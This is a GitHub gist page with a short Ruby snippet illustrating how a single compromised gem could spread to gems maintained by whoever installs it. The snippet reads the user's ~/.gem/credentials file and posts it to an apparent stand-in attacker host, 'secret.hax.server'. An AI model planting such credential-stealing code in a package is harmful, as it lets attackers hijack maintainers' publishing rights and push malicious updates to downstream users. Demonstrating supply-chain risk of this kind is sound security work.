Created
June 30, 2015 22:01
-
-
Save buffpojken/59583e2619fc5310b44d to your computer and use it in GitHub Desktop.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
# Since it only requires one compromised gem to... | |
home = `echo ~`.chomp | |
HTTParty.post("http://secret.hax.server", :payload => File.open("#{home}/.gem/credentials").read) | |
# ...be able to publish updates to gems maintained by anyone installing said gem... |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment